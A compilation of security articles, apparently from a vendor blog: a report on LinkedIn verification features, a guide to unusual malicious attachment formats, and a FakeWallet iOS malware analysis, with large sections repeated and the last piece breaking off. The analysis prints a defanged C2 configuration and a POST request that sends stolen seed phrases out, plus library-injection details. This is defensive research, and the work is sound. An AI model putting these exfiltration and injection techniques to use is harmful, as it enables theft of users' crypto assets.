LinkedIn is adding trust and verification features aimed at making fake professional identities, invented work histories, and company impersonation harder to pull off.
The company is responding to an environment in which generative AI enables imposters to create an entirely made-up professional persona. It reduces the cost of creating convincing headshots, biographies, résumés, outreach messages, and recommendations.
LinkedIn’s new features use verified people and company Pages to help check other users’ claims.
Colleague and classmate vouching: People can confirm that they worked or studied with someone during the period listed on that person’s profile. This confirms an affiliation; it does not rate the person’s ability or recommend them.
Employer control over false affiliations: Admins of verified company Pages can remove people who falsely claim to work there from the company’s associated people and search results. This doesn’t remove the person’s profile or erase the claim from it.
Workplace verification requirement (in testing): LinkedIn is testing a setting that would require people who want to associate themselves with a company Page to verify their workplace, for example, through a work email address.
Verified identity beyond LinkedIn: LinkedIn is extending partnerships that let users display their LinkedIn-verified identity elsewhere. New partners include Truecaller and PeerSpot, alongside Adobe and UserTesting.
LinkedIn hopes that multiple visible signals such as identity verification, workplace verification, peer corroboration, and company Page controls will make a fabricated profile less persuasive. It says its existing verification tools have verified 115 million members and more than 700,000 companies.
LinkedIn VP of Product Oscar Rodriguez told TechCrunch:
“We’ve been invested in [verification] because we believe that authenticity will be the single most valuable currency on the internet.”
These new affiliation checks cannot tell a job seeker whether an opportunity is genuine. A scammer does not always need to impersonate a major employer. They can invent a convincing startup, build a polished company Page, and use fake job listings or recruiters to lure applicants. The checks may be less helpful if the supposed employer itself is part of the scam.
As we’ve seen in recent research, criminals pose as both well-known companies and appealing new ventures offering the kind of role a job seeker hopes to find. The new checks may help someone determine whether a supposed recruiter is affiliated with a company they recognize. They may be less helpful when the company itself is part of the scam.
Verification is therefore a useful signal, not a guarantee. Job seekers should still be wary of unsolicited approaches, pressure to move conversations off LinkedIn, requests to install software or share identity documents, and job offers that arrive before a credible interview process. Check a recruiter’s affiliation, visit the employer’s website independently, and confirm that its contact details and job listing match.
LinkedIn’s changes acknowledge a growing problem: AI can make a fake professional identity look remarkably polished. Verified accounts, workplace affiliations, and colleague confirmations may become more valuable to criminals, too. They may try to exploit those signals through stolen accounts, manipulated verification, or carefully constructed networks of fraudulent profiles. Verification can raise the cost of deception, but it cannot replace healthy skepticism.
Scammers don’t need to hack you. They just need you to click once.
LinkedIn is adding trust and verification features aimed at making fake professional identities, invented work histories, and company impersonation harder to pull off.
The company is responding to an environment in which generative AI enables imposters to create an entirely made-up professional persona. It reduces the cost of creating convincing headshots, biographies, résumés, outreach messages, and recommendations.
LinkedIn’s new features use verified people and company Pages to help check other users’ claims.
Colleague and classmate vouching: People can confirm that they worked or studied with someone during the period listed on that person’s profile. This confirms an affiliation; it does not rate the person’s ability or recommend them.
Employer control over false affiliations: Admins of verified company Pages can remove people who falsely claim to work there from the company’s associated people and search results. This doesn’t remove the person’s profile or erase the claim from it.
Workplace verification requirement (in testing): LinkedIn is testing a setting that would require people who want to associate themselves with a company Page to verify their workplace, for example, through a work email address.
Verified identity beyond LinkedIn: LinkedIn is extending partnerships that let users display their LinkedIn-verified identity elsewhere. New partners include Truecaller and PeerSpot, alongside Adobe and UserTesting.
LinkedIn hopes that multiple visible signals such as identity verification, workplace verification, peer corroboration, and company Page controls will make a fabricated profile less persuasive. It says its existing verification tools have verified 115 million members and more than 700,000 companies.
LinkedIn VP of Product Oscar Rodriguez told TechCrunch:
“We’ve been invested in [verification] because we believe that authenticity will be the single most valuable currency on the internet.”
These new affiliation checks cannot tell a job seeker whether an opportunity is genuine. A scammer does not always need to impersonate a major employer. They can invent a convincing startup, build a polished company Page, and use fake job listings or recruiters to lure applicants. The checks may be less helpful if the supposed employer itself is part of the scam.
As we’ve seen in recent research, criminals pose as both well-known companies and appealing new ventures offering the kind of role a job seeker hopes to find. The new checks may help someone determine whether a supposed recruiter is affiliated with a company they recognize. They may be less helpful when the company itself is part of the scam.
Verification is therefore a useful signal, not a guarantee. Job seekers should still be wary of unsolicited approaches, pressure to move conversations off LinkedIn, requests to install software or share identity documents, and job offers that arrive before a credible interview process. Check a recruiter’s affiliation, visit the employer’s website independently, and confirm that its contact details and job listing match.
LinkedIn’s changes acknowledge a growing problem: AI can make a fake professional identity look remarkably polished. Verified accounts, workplace affiliations, and colleague confirmations may become more valuable to criminals, too. They may try to exploit those signals through stolen accounts, manipulated verification, or carefully constructed networks of fraudulent profiles. Verification can raise the cost of deception, but it cannot replace healthy skepticism.
Scammers don’t need to hack you. They just need you to click once.
Threat actors are constantly developing new attack schemes — from OAuth token theft to attacks on AI agents — but the classics never quite leave their playbook. On any given day, an employee may receive malware attached directly to an email, or lying in wait behind a link embedded in an email. Making these attacks succeed still requires a degree of creativity, and in recent years attackers have increasingly adopted exotic file formats. Users don’t perceive these formats as dangerous; more importantly, many EDR and email security solutions skip scanning them entirely. Yet they’ve proven highly effective for deploying malware or harvesting credentials.
Below are the file types that may be blind spots in your organization’s detection strategy — despite being observed as used in real-world attacks.
Disk images
This is the broadest and most dangerous attachment category. A disk image can contain a fully prepared, correctly structured set of files tailored to a wide range of attack scenarios. It mounts as a separate volume (standalone virtual disk), and when doing so often uses tools built into the operating system. The victim doesn’t need to extract anything or create suspicious folders on disk.
The most versatile format is ISO, which dates back to the heyday of multimedia CDs. ISO images mount natively on every major OS without additional utilities, whether through simple tools like File Explorer or via the command line interface. This is precisely why threat actors have no hesitation in sending ISO files as email attachments.
Somewhat less common are IMG containers, which also mount without additional tooling on macOS or Linux, but require installing a small, free utility such as OSFMount on Windows, or using WSL2 (Windows Subsystem for Linux), which is built into recent Windows versions. A file with identical content may also carry a DD extension.
Threat actors also make use of VHD, a virtual disk format native to Windows, which generally works on Linux machines as well (via qemu-nbd or guestmount). On macOS, an additional utility — again, qemu-nbd is a common choice — is required to mount it. Note that on unpatched Windows systems, the victim doesn’t need to take any further action after the disk mounts: CVE-2025-24993 — a vulnerability actively exploited in real-world attacks — triggers attacker code execution immediately upon mounting the image.
For completeness’ sake, VMDK, the disk image format used by VMware, is also worth detecting, though it’s largely ineffective in attacks on regular users since every popular OS requires additional software to mount it.
All of these image formats can be viewed and unpacked not only with specialized tools, but with standard archive utilities like 7-Zip or RAR. As a result, the odds that the user will fall for the bait are higher than one might hope.
In addition to not being a well-known potentially dangerous format, image files give attackers one further advantage: files extracted from disk images on Windows frequently lack the Mark of the Web flag, and therefore can be launched without triggering additional system warnings.
There’s one more reason why EPP/EDR solutions must scan virtual machines and disk images: these formats are also used during later stages of an attack. To mask active file-system activity from monitoring tools, ransomware gangs sometimes run the entire encryption process inside a virtual machine deployed on the victim’s computer. The RagnarLocker ransomware strain has used VirtualBox for this purpose, while the CRON#TRAP campaign relied on a QEMU environment.
MS Office files
No, this isn’t about macro-laced DOC files. Microsoft has grown weary enough of this classic attack vector that macros in downloaded documents are now blocked outright, and enabling them requires considerable effort from the user. But Office relies on dozens of file formats, and some of the less common ones still occasionally give attackers an edge.
Less familiar to both users and security solutions are OneNote files (.one). These are essentially simple notes, but they can carry embedded attachments, including not just images and links, but VBS/WSF/BAT scripts as well. Within the note, an attachment normally displays as an icon, but attackers overlay it with a picture showing a message with a “View” button.
Another Office format popular with attackers is the Excel add-in. These files use the .xll extension but are, in effect, full-fledged Windows dynamic-link libraries (DLLs), and therefore may have extensive functionality. Victims receive a malicious email with what looks like an invoice; the icon suggests that the file will open in Excel. Ignoring the security warning may result in an infostealer infection.
SVG “graphics”
The description of the SVG (Scalable Vector Graphics) format sounds entirely innocuous. Indeed, 99% of SVG files are logos and interface icons. But unlike PNG or JPG, SVG files are fundamentally XML documents, and beyond points, lines and fills they can contain JavaScript. In terms of malicious potential, SVG is not far behind a full web page. In real-world attacks, SVG files can redirect a user to a phishing page immediately upon opening, or render the phishing page directly by unpacking a Base64-encoded block into full HTML.
SVG files pose a distinct risk to corporate portals that accept user file uploads. If a portal’s Content Security Policy (CSP) isn’t sufficiently restrictive, and lets someone upload a malicious SVG file, the embedded JavaScript can steal cookies from the page, inject unauthorized content, and carry out similar attacks.
Polyglot files
Polyglot file formats are less exotic in and of themselves, but the files carry more than meets the eye. They’re called polyglots because attackers construct a file that can be validly interpreted in multiple ways: for example, it can be a valid ZIP archive and a valid executable at the same time. The purpose is purely to evade detection by security solutions and deceive the user. We’ve covered polyglots in detail in a separate blog post.
The clear standout in our roundup is a malicious campaign distributing the IcedID infostealer. Victims receive emails with a ZIP attachment, which unpacks into an ISO disk image. That further unpacks into a CHM file (the Windows Help format) that’s also correctly processed as an mshta (Microsoft HTML Application host) application, which then downloads the primary malware payload.
Defending against exotic files
These attacks rely on the assumption that security solutions either don’t scan unusual file formats, or scan them only superficially. Preventing the threat starts with not operating on that assumption with regard to your own infrastructure:
Configure EDR, web, and email filters to scan all of the file formats described above.
Process archives and disk images with the same rigor as you would apply to executables.
Detonate potentially dangerous file types in a sandbox, and configure recursive unpacking of nested formats through to the end of the chain: ZIP → ISO → CHM.
Where feasible, quarantine all file formats anomalous for email — disk images in particular.
Build detection rules for anomalous usage patterns that involve exotic files. For example, unusually small disk images are rare and are therefore worth investigating.
Review the technical documentation of your security solutions to confirm that complex formats are detected through deep structural parsing rather than magic-byte checks alone.
Deploy behavioral detection capable of flagging anomalous execution patterns and legitimate utilities launched from unexpected contexts. The usual suspects here include mshta, git, wscript, hh, and rundll32.
SVG files warrant a dedicated policy. Treat SVGs as active content at the email and web perimeter. On corporate portals, enforce a strict CSP, and serve user-uploaded files from a separate subdomain so that a malicious script embedded in an SVG can’t access the session on the main portal.
In March 2026, we uncovered more than twenty phishing apps in the Apple App Store masquerading as popular crypto wallets. Once launched, these apps redirect users to browser pages designed to look similar to the App Store and distributing trojanized versions of legitimate wallets. The infected apps are specifically engineered to hijack recovery phrases and private keys. Metadata from the malware suggests this campaign has been flying under the radar since at least the fall of 2025.
We’ve seen this happen before. Back in 2022, ESET researchers spotted compromised crypto wallets distributed through phishing sites. By abusing iOS provisioning profiles to install malware, attackers were able to steal recovery phrases from major hot wallets like Metamask, Coinbase, Trust Wallet, TokenPocket, Bitpie, imToken, and OneKey. Fast forward four years, and the same crypto-theft scheme is gaining momentum again, now featuring new malicious modules, updated injection techniques, and distribution through phishing apps in the App Store.
Kaspersky products detect this threat as HEUR:Trojan-PSW.IphoneOS.FakeWallet.* and HEUR:Trojan.IphoneOS.FakeWallet.*.
Technical details
Background
This past March, we noticed a wave of phishing apps topping the search results in the Chinese App Store, all disguised as popular crypto wallets. Because of regional restrictions, many official crypto wallet apps are currently unavailable to users in China, specifically if they have their Apple ID set to the Chinese region. Scammers are jumping on this opportunity. They’ve launched fake apps using icons that mirror the originals and names with intentional typos – a tactic known as typosquatting – to slip past App Store filters and increase their chances of deceiving users.
App Store search results for “Ledger Wallet” (formerly Ledger Live)
In some instances, the app names and icons had absolutely nothing to do with cryptocurrency. However, the promotional banners for these apps claimed that the official wallet was “unavailable in the App Store” and directed users to download it through the app instead.
Promotional screenshots from apps posing as the official TokenPocket app
During our investigation, we identified 26 phishing apps in the App Store mimicking the following major wallets:
MetaMask
Ledger
Trust Wallet
Coinbase
TokenPocket
imToken
Bitpie
We’ve reported all of these findings to Apple, and several of the malicious apps have already been pulled from the store.
We also identified several similar apps that didn’t have any phishing functionality yet, but showed every sign of being linked to the same threat actors. It’s highly likely that the malicious features were simply waiting to be toggled on in a future update.
The phishing apps featured stubs – functional placeholders that mimicked a legitimate service – designed to make the app appear authentic. The stub could be a game, a calculator, or a task planner.
However, once you launched the app, it would open a malicious link in your browser. This link kicks off a scheme leveraging provisioning profiles to install infected versions of crypto wallets onto the victim’s device. This technique isn’t exclusive to FakeWallet; other iOS threats, like SparkKitty, use similar methods. These profiles come in a few flavors, one of them being enterprise provisioning profiles. Apple designed these so companies could create and deploy internal apps to employees without going through the App Store or hitting device limits. Enterprise provisioning profiles are a favorite tool for makers of software cracks, cheats, online casinos, pirated mods of popular apps, and malware.
An infected wallet and its corresponding profile used for the installation process
Malicious modules for hot wallets
The attackers have churned out a wide variety of malicious modules, each tailored to a specific wallet. In most cases, the malware is delivered via a malicious library injection, though we’ve also come across builds where the app’s original source code was modified.
To embed the malicious library, the hackers injected load commands into the main executable. This is a standard trick to expand an app’s functionality without a rebuild. Once the library is loaded, the dyld linker triggers initialization functions, if present in the library. We’ve seen this implemented in different ways: sometimes by adding a load method to specific Objective-C classes, and other times through standard C++ functions.
The logic remains the same across all initialization functions: the app loads or initializes its configuration, if available, and then swaps out legitimate class methods for malicious versions. For instance, we found a malicious library named libokexHook.dylib embedded in a modified version of the Coinbase app. It hijacks the original viewDidLoad method within the RecoveryPhraseViewController class, the part of the code responsible for the screen where the user enters their recovery phrase.
A code snippet where a malicious initialization function hijacks the original viewDidLoad method of the class responsible for the recovery phrase screen
The compromised viewDidLoad method works by scanning the screen in the current view controller (the object managing that specific app screen) to hunt for mnemonics – the individual words that make up the seed phrase. Once it finds them, it extracts the data, encrypts it, and beams it back to a C2 server. All these malicious modules follow a specific process to exfiltrate data:
The extracted mnemonics are stringed together.
This string is encrypted using RSA with the PKCS #1 scheme.
The encrypted data is then encoded into Base64.
Finally, the encoded string – along with metadata like the malicious module type, the app name, and a unique identification code – is sent to the attackers’ server.
The malicious viewDidLoad method at work, scraping seed phrase words from individual subviews
In this specific variant, the C2 server address is hardcoded directly into the executable. However, in other versions we’ve analyzed, the Trojan pulls the address from a configuration file tucked away in the app folder.
The POST request used to exfiltrate those encrypted mnemonics looks like this:
POST <c2_domain>/api/open/postByTokenPocket?ciyu=<base64_encoded_encrypted_mnemonics>&code=10001&ciyuType=1&wallet=ledger
The version of the malicious module targeting Trust Wallet stands out from the rest. It skips the initialization functions entirely. Instead, the attackers injected a custom executable section, labeled __hook, directly into the main executable. They placed it right before the __text section, specifically in the memory region usually reserved for load commands in the program header. The first two functions in this section act as trampolines to the dlsym function and the mnemonic validation method within the original WalletCore class. These are followed by two wrapper functions designed to:
Resolve symbols dataInit or processX0Parameter from the malicious library
Hand over control to these newly discovered functions
Execute the code for the original methods that the wrapper was built to replace
The content of the embedded __hook section, showing the trampolines and wrapper functions
These wrappers effectively hijack the methods the app calls whenever a user tries to restore a wallet using a seed phrase or create a new one. By following the same playbook described earlier, the Trojan scrapes the mnemonics directly from the corresponding screens, encrypts them, and beams them back to the C2 server.
The Ledger wallet malicious module
The modules we’ve discussed so far were designed to rip recovery phrases from hot wallets – apps that store and use private keys directly on the device where they are installed. Cold wallets are a different beast: the keys stay on a separate, offline device, and the app is just a user interface with no direct access to them. To get their hands on those assets, the attackers fall back on old-school phishing.
We found two versions of the Ledger implant, one using a malicious library injection and another where the app’s source code itself was tampered with. In the library version, the malware sneaks in through standard entry points: two Objective-C initialization functions (+[UIViewController load] and +[UIView load]) and a function named entry located in the __mod_init_functions section. Once the malicious library is loaded into the app’s memory, it goes to work:
The entry function loads a configuration file from the app directory, generates a user UUID, and attempts to send it to the server specified by the login-url The config file looks like this:
{
"url": "hxxps://iosfc[.]com/ledger/ios/Rsakeycatch.php", // C2 for mnemonics
"code": "10001", // special code "login-url": "hxxps://xxx[.]com",
"login-code": "88761"
}
Two other initialization functions, +[UIViewController load] and +[UIView load], replace certain methods of the original app classes with their malicious payload.
As soon as the root screen is rendered, the malware traverses the view controller hierarchy and searches for a child screen named add-account-cta or one containing a $ sign:
If it is the add-account-cta screen, the Trojan identifies the button responsible for adding a new account and matches its text to a specific language. The Trojan uses this to determine the app’s locale so it can later display a phishing alert in the appropriate language. It then prepares a phishing notification whose content will require the user to pass a “security check”, and stores it in an object of GlobalVariables
If it’s a screen with a $ sign in its name, the malware scans its content using a regular expression to extract the wallet balance and attempt to send this balance information to a harmless domain specified in the configuration as login-url. We assume this is outdated testing functionality left in the code by mistake, as the specified domain is unrelated to the malware.
Then, when any screen is rendered, one of the malicious handlers checks its name. If it is the screen responsible for adding an account or buying/selling cryptocurrency, the malware displays the phishing notification prepared earlier. Clicking on this notification opens a WebView window, where the local HTML file html serves as the page to display.
The verify.html phishing page prompts the user to enter their mnemonics. The malware then checks the seed phrase entered by the user against the BIP-39 dictionary, a standard that uses 2048 mnemonic words to generate seed phrases. Additionally, to lower the victim’s guard, the phishing page is designed to match the app’s style and even supports autocomplete for mnemonics to project quality. The seed phrase is passed to an Objective-C handler, which merges it into a single string, encrypts it using RSA with the PKCS #1 scheme, and sends it to the C2 server along with additional data – such as the malicious module type, app name, and a specific config code – via an HTTP POST request to the /ledger/ios/Rsakeycatch.php endpoint.
The Objective-C handler responsible for exfiltrating mnemonics
The second version of the infected Ledger wallet involves changes made directly to the main code of the app written in React Native. This approach eliminates the need for platform-specific libraries and allows attackers to run the same malicious module across different platforms. Since the Ledger Live source code is publicly available, injecting malicious code into it is a straightforward task for the attackers.
The infected build includes two malicious screens:
MnemonicVerifyScreen, embedded in PortfolioNavigator
PrivateKeyVerifyScreen, embedded in MyLedgerNavigator
In the React Native ecosystem, navigators handle switching between different screens. In this case, these specific navigators are triggered when the Portfolio or Device List screens are opened. In the original app, these screens remain inaccessible until the user pairs their cold wallet with the application. This same logic is preserved in the infected version, effectively serving as an anti-debugging technique: the phishing window only appears during a realistic usage scenario.
Phishing window for seed phrase verification
The MnemonicVerifyScreen appears whenever either of those navigators is activated – whether the user is checking their portfolio or viewing info about a paired device. The PrivateKeyVerifyScreen remains unused – it is designed to handle a private key rather than a mnemonic, specifically the key generated by the wallet based on the entered seed phrase. Since Ledger Live doesn’t give users direct access to private keys or support them for importing wallets, we suspect this specific feature was actually intended for a different app.
Decompiled pseudocode of an anonymous malicious function setting up the configuration during app startup
Once a victim enters their recovery phrase on the phishing page and hits Confirm, the Trojan creates a separate thread to handle the data exfiltration. It tracks the progress of the transfer by creating three files in the app’s working directory:
verify-wallet-status.json tracks the current status and the timestamp of the last update.
verify-wallet-config.json stores the C2 server configuration the malware is currently using.
verify-wallet-pending.json holds encrypted mnemonics until they’re successfully transmitted to the C2 server. Then the clearPendingMnemonicJob function replaces the contents of the file with an empty JSON dictionary.
Next, the Trojan encrypts the captured mnemonics and sends the resulting value to the C2 server. The data is encrypted using the same algorithm described earlier (RSA encryption followed by Base64 encoding). If the app is closed or minimized, the Trojan checks the status of the previous exfiltration attempt upon restart and resumes the process if it hasn’t been completed.
Decompiled pseudocode for the submitWalletSecret function
Other distribution channels, platforms, and the SparkKitty link
During our investigation, we discovered a website mimicking the official Ledger site that hosted links to the same infected apps described above. While we’ve only observed one such example, we’re certain that other similar phishing pages exist across the web.
A phishing website hosting links to infected Ledger apps for both iOS and Android
We also identified several compromised versions of wallet apps for Android, including both previously undiscovered samples and known ones. These instances were distributed through the same malicious pages; however, we found no traces of them in the Google Play Store.
One additional detail: some of the infected apps also contained a SparkKitty module. Interestingly, these modules didn’t show any malicious activity on their own, with mnemonics handled exclusively by the FakeWallet modules. We suspect SparkKitty might be present for one of two reasons: either the authors of both malicious campaigns are linked and forgot to remove it, or it was embedded by different attackers and is currently inactive.
Victims
Since nearly all the phishing apps were exclusive to the Chinese App Store, and the infected wallets themselves were distributed through Chinese-language phishing pages, we can conclude that this campaign primarily targets users in China. However, the malicious modules themselves have no built-in regional restrictions. Furthermore, since the phishing notifications in some variants automatically adapt to the app’s language, users outside of China could easily find themselves in the crosshairs of these attackers.
Attribution
According to our data, the threat actor behind this campaign may be linked to the creators of the SparkKitty Trojan. Several details uncovered during our research point to this connection:
Some infected apps contained SparkKitty modules alongside the FakeWallet code.
The attackers behind both campaigns appear to be native Chinese speakers, as the malicious modules frequently use log messages in Chinese.
Both campaigns distribute infected apps via phishing pages that mimic the official App Store.
Both campaigns specifically target victims’ cryptocurrency assets.
Conclusion
Our research shows that the FakeWallet campaign is gaining momentum by employing new tactics, ranging from delivering payloads via phishing apps published in the App Store to embedding themselves into cold wallet apps and using sophisticated phishing notifications to trick users into revealing their mnemonics. The fact that these phishing apps bypass initial filters to appear at the top of App Store search results can significantly lower a user’s guard. While the campaign is not exceptionally complex from a technical standpoint, it poses serious risks to users for several reasons:
Hot wallet attacks: the malware can steal crypto assets during the wallet creation or import phase without any additional user interaction.
Cold wallet attacks: attackers go to great lengths to make their phishing windows look legitimate, even implementing mnemonic autocomplete to mirror the real user experience and increase their chances of a successful theft.
Investigation challenges: the technical restrictions imposed by iOS and the broader Apple ecosystem make it difficult to effectively detect and analyze malicious software directly on a device.
In March 2026, we uncovered more than twenty phishing apps in the Apple App Store masquerading as popular crypto wallets. Once launched, these apps redirect users to browser pages designed to look similar to the App Store and distributing trojanized versions of legitimate wallets. The infected apps are specifically engineered to hijack recovery phrases and private keys. Metadata from the malware suggests this campaign has been flying under the radar since at least the fall of 2025.
We’ve seen this happen before. Back in 2022, ESET researchers spotted compromised crypto wallets distributed through phishing sites. By abusing iOS provisioning profiles to install malware, attackers were able to steal recovery phrases from major hot wallets like Metamask, Coinbase, Trust Wallet, TokenPocket, Bitpie, imToken, and OneKey. Fast forward four years, and the same crypto-theft scheme is gaining momentum again, now featuring new malicious modules, updated injection techniques, and distribution through phishing apps in the App Store.
Kaspersky products detect this threat as HEUR:Trojan-PSW.IphoneOS.FakeWallet.* and HEUR:Trojan.IphoneOS.FakeWallet.*.
Technical details
Background
This past March, we noticed a wave of phishing apps topping the search results in the Chinese App Store, all disguised as popular crypto wallets. Because of regional restrictions, many official crypto wallet apps are currently unavailable to users in China, specifically if they have their Apple ID set to the Chinese region. Scammers are jumping on this opportunity. They’ve launched fake apps using icons that mirror the originals and names with intentional typos – a tactic known as typosquatting – to slip past App Store filters and increase their chances of deceiving users.
App Store search results for “Ledger Wallet” (formerly Ledger Live)
In some instances, the app names and icons had absolutely nothing to do with cryptocurrency. However, the promotional banners for these apps claimed that the official wallet was “unavailable in the App Store” and directed users to download it through the app instead.
Promotional screenshots from apps posing as the official TokenPocket app
During our investigation, we identified 26 phishing apps in the App Store mimicking the following major wallets:
MetaMask
Ledger
Trust Wallet
Coinbase
TokenPocket
imToken
Bitpie
We’ve reported all of these findings to Apple, and several of the malicious apps have already been pulled from the store.
We also identified several similar apps that didn’t have any phishing functionality yet, but showed every sign of being linked to the same threat actors. It’s highly likely that the malicious features were simply waiting to be toggled on in a future update.
The phishing apps featured stubs – functional placeholders that mimicked a legitimate service – designed to make the app appear authentic. The stub could be a game, a calculator, or a task planner.
However, once you launched the app, it would open a malicious link in your browser. This link kicks off a scheme leveraging provisioning profiles to install infected versions of crypto wallets onto the victim’s device. This technique isn’t exclusive to FakeWallet; other iOS threats, like SparkKitty, use similar methods. These profiles come in a few flavors, one of them being enterprise provisioning profiles. Apple designed these so companies could create and deploy internal apps to employees without going through the App Store or hitting device limits. Enterprise provisioning profiles are a favorite tool for makers of software cracks, cheats, online casinos, pirated mods of popular apps, and malware.
An infected wallet and its corresponding profile used for the installation process
Malicious modules for hot wallets
The attackers have churned out a wide variety of malicious modules, each tailored to a specific wallet. In most cases, the malware is delivered via a malicious library injection, though we’ve also come across builds where the app’s original source code was modified.
To embed the malicious library, the hackers injected load commands into the main executable. This is a standard trick to expand an app’s functionality without a rebuild. Once the library is loaded, the dyld linker triggers initialization functions, if present in the library. We’ve seen this implemented in different ways: sometimes by adding a load method to specific Objective-C classes, and other times through standard C++ functions.
The logic remains the same across all initialization functions: the app loads or initializes its configuration, if available, and then swaps out legitimate class methods for malicious versions. For instance, we found a malicious library named libokexHook.dylib embedded in a modified version of the Coinbase app. It hijacks the original viewDidLoad method within the RecoveryPhraseViewController class, the part of the code responsible for the screen where the user enters their recovery phrase.
A code snippet where a malicious initialization function hijacks the original viewDidLoad method of the class responsible for the recovery phrase screen
The compromised viewDidLoad method works by scanning the screen in the current view controller (the object managing that specific app screen) to hunt for mnemonics – the individual words that make up the seed phrase. Once it finds them, it extracts the data, encrypts it, and beams it back to a C2 server. All these malicious modules follow a specific process to exfiltrate data:
The extracted mnemonics are stringed together.
This string is encrypted using RSA with the PKCS #1 scheme.
The encrypted data is then encoded into Base64.
Finally, the encoded string – along with metadata like the malicious module type, the app name, and a unique identification code – is sent to the attackers’ server.
The malicious viewDidLoad method at work, scraping seed phrase words from individual subviews
In this specific variant, the C2 server address is hardcoded directly into the executable. However, in other versions we’ve analyzed, the Trojan pulls the address from a configuration file tucked away in the app folder.
The POST request used to exfiltrate those encrypted mnemonics looks like this:
POST <c2_domain>/api/open/postByTokenPocket?ciyu=<base64_encoded_encrypted_mnemonics>&code=10001&ciyuType=1&wallet=ledger
The version of the malicious module targeting Trust Wallet stands out from the rest. It skips the initialization functions entirely. Instead, the attackers injected a custom executable section, labeled __hook, directly into the main executable. They placed it right before the __text section, specifically in the memory region usually reserved for load commands in the program header. The first two functions in this section act as trampolines to the dlsym function and the mnemonic validation method within the original WalletCore class. These are followed by two wrapper functions designed to:
Resolve symbols dataInit or processX0Parameter from the malicious library
Hand over control to these newly discovered functions
Execute the code for the original methods that the wrapper was built to replace
The content of the embedded __hook section, showing the trampolines and wrapper functions
These wrappers effectively hijack the methods the app calls whenever a user tries to restore a wallet using a seed phrase or create a new one. By following the same playbook described earlier, the Trojan scrapes the mnemonics directly from the corresponding screens, encrypts them, and beams them back to the C2 server.
The Ledger wallet malicious module
The modules we’ve discussed so far were designed to rip recovery phrases from hot wallets – apps that store and use private keys directly on the device where they are installed. Cold wallets are a different beast: the keys stay on a separate, offline device, and the app is just a user interface with no direct access to them. To get their hands on those assets, the attackers fall back on old-school phishing.
We found two versions of the Ledger implant, one using a malicious library injection and another where the app’s source code itself was tampered with. In the library version, the malware sneaks in through standard entry points: two Objective-C initialization functions (+[UIViewController load] and +[UIView load]) and a function named entry located in the __mod_init_functions section. Once the malicious library is loaded into the app’s memory, it goes to work:
The entry function loads a configuration file from the app directory, generates a user UUID, and attempts to send it to the server specified by the login-url The config file looks like this:
{
"url": "hxxps://iosfc[.]com/ledger/ios/Rsakeycatch.php", // C2 for mnemonics
"code": "10001", // special code "login-url": "hxxps://xxx[.]com",
"login-code": "88761"
}
Two other initialization functions, +[UIViewController load] and +[UIView load], replace certain methods of the original app classes with their malicious payload.
As soon as the root screen is rendered, the malware traverses the view controller hierarchy and searches for a child screen named add-account-cta or one containing a $ sign:
If it is the add-account-cta screen, the Trojan identifies the button responsible for adding a new account and matches its text to a specific language. The Trojan uses this to determine the app’s locale so it can later display a phishing alert in the appropriate language. It then prepares a phishing notification whose content will require the user to pass a “security check”, and stores it in an object of GlobalVariables
If it’s a screen with a $ sign in its name, the malware scans its content using a regular expression to extract the wallet balance and attempt to send this balance information to a harmless domain specified in the configuration as login-url. We assume this is outdated testing functionality left in the code by mistake, as the specified domain is unrelated to the malware.
Then, when any screen is rendered, one of the malicious handlers checks its name. If it is the screen responsible for adding an account or buying/selling cryptocurrency, the malware displays the phishing notification prepared earlier. Clicking on this notification opens a WebView window, where the local HTML file html serves as the page to display.
The verify.html phishing page prompts the user to enter their mnemonics. The malware then checks the seed phrase entered by the user against the BIP-39 dictionary, a standard that uses 2048 mnemonic words to generate seed phrases. Additionally, to lower the victim’s guard, the phishing page is designed to match the app’s style and even supports autocomplete for mnemonics to project quality. The seed phrase is passed to an Objective-C handler, which merges it into a single string, encrypts it using RSA with the PKCS #1 scheme, and sends it to the C2 server along with additional data – such as the malicious module type, app name, and a specific config code – via an HTTP POST request to the /ledger/ios/Rsakeycatch.php endpoint.
The Objective-C handler responsible for exfiltrating mnemonics
The second version of the infected Ledger wallet involves changes made directly to the main code of the app written in React Native. This approach eliminates the need for platform-specific libraries and allows attackers to run the same malicious module across different platforms. Since the Ledger Live source code is publicly available, injecting malicious code into it is a straightforward task for the attackers.
The infected build includes two malicious screens:
MnemonicVerifyScreen, embedded in PortfolioNavigator
PrivateKeyVerifyScreen, embedded in MyLedgerNavigator
In the React Native ecosystem, navigators handle switching between different screens. In this case, these specific navigators are triggered when the Portfolio or Device List screens are opened. In the original app, these screens remain inaccessible until the user pairs their cold wallet with the application. This same logic is preserved in the infected version, effectively serving as an anti-debugging technique: the phishing window only appears during a realistic usage scenario.
Phishing window for seed phrase verification
The MnemonicVerifyScreen appears whenever either of those navigators is activated – whether the user is checking their portfolio or viewing info about a paired device. The PrivateKeyVerifyScreen remains unused – it is designed to handle a private key rather than a mnemonic, specifically the key generated by the wallet based on the entered seed phrase. Since Ledger Live doesn’t give users direct access to private keys or support them for importing wallets, we suspect this specific feature was actually intended for a different app.
Decompiled pseudocode of an anonymous malicious function setting up the configuration during app startup
Once a victim enters their recovery phrase on the phishing page and hits Confirm, the Trojan creates a separate thread to handle the data exfiltration. It tracks the progress of the transfer by creating three files in the app’s working directory:
verify-wallet-status.json tracks the current status and the timestamp of the last update.
verify-wallet-config.json stores the C2 server configuration the malware is currently using.
verify-wallet-pending.json holds encrypted mnemonics until they’re successfully transmitted to the C2 server. Then the clearPendingMnemonicJob function replaces the contents of the file with an empty JSON dictionary.
Next, the Trojan encrypts the captured mnemonics and sends the resulting value to the C2 server. The data is encrypted using the same algorithm described earlier (RSA encryption followed by Base64 encoding). If the app is closed or minimized, the Trojan checks the status of the previous exfiltration attempt upon restart and resumes the process if it hasn’t been completed.
Decompiled pseudocode for the submitWalletSecret function
Other distribution channels, platforms, and the SparkKitty link
During our investigation, we discovered a website mimicking the official Ledger site that hosted links to the same infected apps described above. While we’ve only observed one such example, we’re certain that other similar phishing pages exist across the web.
A phishing website hosting links to infected Ledger apps for both iOS and Android
We also identified several compromised versions of wallet apps for Android, including both previously undiscovered samples and known ones. These instances were distributed through the same malicious pages; however, we found no traces of them in the Google Play Store.
One additional detail: some of the infected apps also contained a SparkKitty module. Interestingly, these modules didn’t show any malicious activity on their own, with mnemonics handled exclusively by the FakeWallet modules. We suspect SparkKitty might be present for one of two reasons: either the authors of both malicious campaigns are linked and forgot to remove it, or it was embedded by different attackers and is currently inactive.
Victims
